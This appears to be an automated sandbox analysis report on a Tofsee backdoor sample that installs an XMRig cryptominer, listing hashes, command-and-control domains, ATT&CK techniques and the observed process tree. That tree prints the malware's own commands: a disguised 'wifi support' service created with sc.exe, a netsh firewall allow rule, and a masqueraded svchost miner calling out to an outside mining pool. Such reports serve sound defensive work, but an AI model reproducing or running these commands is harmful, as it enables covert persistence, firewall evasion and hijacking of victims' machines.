Analysis

  • max time kernel
    154s
  • max time network
    163s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20-01-2022 08:03

General

  • Target

    47997180f37bf76594e22ad592a7165b26d526d798060c1188ef4e1a4070dc3b.exe

  • Size

    269KB

  • MD5

    61e06fe624fe65510af4812917d134c4

  • SHA1

    8068dde1bb70fef07ec65a42eda8705ae14dc61d

  • SHA256

    47997180f37bf76594e22ad592a7165b26d526d798060c1188ef4e1a4070dc3b

  • SHA512

    db5ea8323e92911d6cb8831bd7d0369c4e92c0261597a1acfa76534e599c12b64ed246cbbcc04c94c09a783fd188a8a30647adb9a7bc4f43ee419fa7b2edeec0

Malware Config

Extracted

Family

tofsee

C2

patmushta.info

ovicrush.cn

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\47997180f37bf76594e22ad592a7165b26d526d798060c1188ef4e1a4070dc3b.exe
    "C:\Users\Admin\AppData\Local\Temp\47997180f37bf76594e22ad592a7165b26d526d798060c1188ef4e1a4070dc3b.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1764
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\srkyjwfl\
      2⤵
        PID:812
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\aaywjld.exe" C:\Windows\SysWOW64\srkyjwfl\
        2⤵
          PID:1952
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create srkyjwfl binPath= "C:\Windows\SysWOW64\srkyjwfl\aaywjld.exe /d\"C:\Users\Admin\AppData\Local\Temp\47997180f37bf76594e22ad592a7165b26d526d798060c1188ef4e1a4070dc3b.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:304
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description srkyjwfl "wifi internet conection"
            2⤵
              PID:3900
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start srkyjwfl
              2⤵
                PID:3884
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:652
              • C:\Windows\SysWOW64\srkyjwfl\aaywjld.exe
                C:\Windows\SysWOW64\srkyjwfl\aaywjld.exe /d"C:\Users\Admin\AppData\Local\Temp\47997180f37bf76594e22ad592a7165b26d526d798060c1188ef4e1a4070dc3b.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:624
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1300
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:400

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Discovery

              System Information Discovery

              1
              T1082

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\aaywjld.exe
                MD5

                3593a70f79d0f3a9dfaf3082b6e591f6

                SHA1

                b8fd56b83fe2a4fab7500fdb18e660e8a17fbd70

                SHA256

                ef2bd090eed3f37ff12a4c69fd9db019ddf132749222bd32e13daa9f7538b3e4

                SHA512

                05424cc327c05f718f7016eff0a435826f89b2c7d687bcc2d4e2c3ddac660576716e404fe56a3372a395d180a003821c742fb459b388841b058366e1efd0480c

              • C:\Windows\SysWOW64\srkyjwfl\aaywjld.exe
                MD5

                3593a70f79d0f3a9dfaf3082b6e591f6

                SHA1

                b8fd56b83fe2a4fab7500fdb18e660e8a17fbd70

                SHA256

                ef2bd090eed3f37ff12a4c69fd9db019ddf132749222bd32e13daa9f7538b3e4

                SHA512

                05424cc327c05f718f7016eff0a435826f89b2c7d687bcc2d4e2c3ddac660576716e404fe56a3372a395d180a003821c742fb459b388841b058366e1efd0480c

              • memory/400-126-0x0000000003220000-0x0000000003311000-memory.dmp
                Filesize

                964KB

              • memory/400-130-0x0000000003220000-0x0000000003311000-memory.dmp
                Filesize

                964KB

              • memory/624-121-0x0000000000030000-0x000000000003D000-memory.dmp
                Filesize

                52KB

              • memory/624-122-0x0000000000520000-0x0000000000533000-memory.dmp
                Filesize

                76KB

              • memory/624-125-0x0000000000400000-0x000000000044B000-memory.dmp
                Filesize

                300KB

              • memory/1300-120-0x0000000000380000-0x0000000000395000-memory.dmp
                Filesize

                84KB

              • memory/1764-115-0x0000000000030000-0x000000000003D000-memory.dmp
                Filesize

                52KB

              • memory/1764-116-0x0000000000560000-0x0000000000573000-memory.dmp
                Filesize

                76KB

              • memory/1764-117-0x0000000000400000-0x000000000044B000-memory.dmp
                Filesize

                300KB